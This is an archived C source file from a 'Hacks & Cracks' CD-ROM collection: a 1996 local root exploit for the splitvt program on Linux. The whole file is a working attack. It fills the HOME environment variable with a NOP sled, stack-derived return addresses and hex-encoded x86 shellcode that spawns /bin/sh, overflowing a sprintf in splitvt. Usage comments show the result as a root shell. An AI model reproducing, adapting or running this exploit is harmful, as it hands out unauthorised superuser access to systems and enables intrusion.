home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / c_scripts / splitvt.c < prev    next >
C/C++ Source or Header  |  1998-03-25  |  1KB  |  56 lines

  1. /* splitvt exploit [kfc 96]
  2.  * Affected Operating Systems: Linux 2-3.X
  3.  * Exploitation Result: Local users can obtain superuser privelages.
  4.  * Bug Synopsis: A stack overflow exists via user defined unbounds checked
  5.  * user supplied data sent to a sprintf().
  6.  *
  7.  * Syntax:
  8.  * user~$ cc -o sp sp.c
  9.  * user~$ sp
  10.  * bash$ sp
  11.  * bash$ splitvt
  12.  *  bash# whoami
  13.  *  root
  14.  */
  15.  
  16. long get_esp(void)
  17. {
  18. __asm__("movl %esp,%eax\n");
  19. }
  20. main()
  21. {
  22.   char eggplant[2048];
  23.   int a;
  24.   char *egg;
  25.   long *egg2;
  26.   char realegg[] =
  27. "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  28. "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  29. "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  30.   char *eggie = realegg;
  31.  
  32.   egg = eggplant;
  33.  
  34.   *(egg++) = 'H';
  35.   *(egg++) = 'O';
  36.   *(egg++) = 'M';
  37.   *(egg++) = 'E';
  38.   *(egg++) = '=';
  39.  
  40.   egg2 = (long *)egg;
  41.  
  42.   for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;
  43.  
  44.   egg=(char *)egg2;
  45.  
  46.   for (a=0;a<0x40;a++) *(egg++) = 0x90;
  47.  
  48.   while (*eggie)
  49.     *(egg++) = *(eggie++);
  50.   *egg = 0; /* terminate eggplant! */
  51.  
  52.   putenv(eggplant);
  53.  
  54.   system("/bin/bash");
  55. }
  56.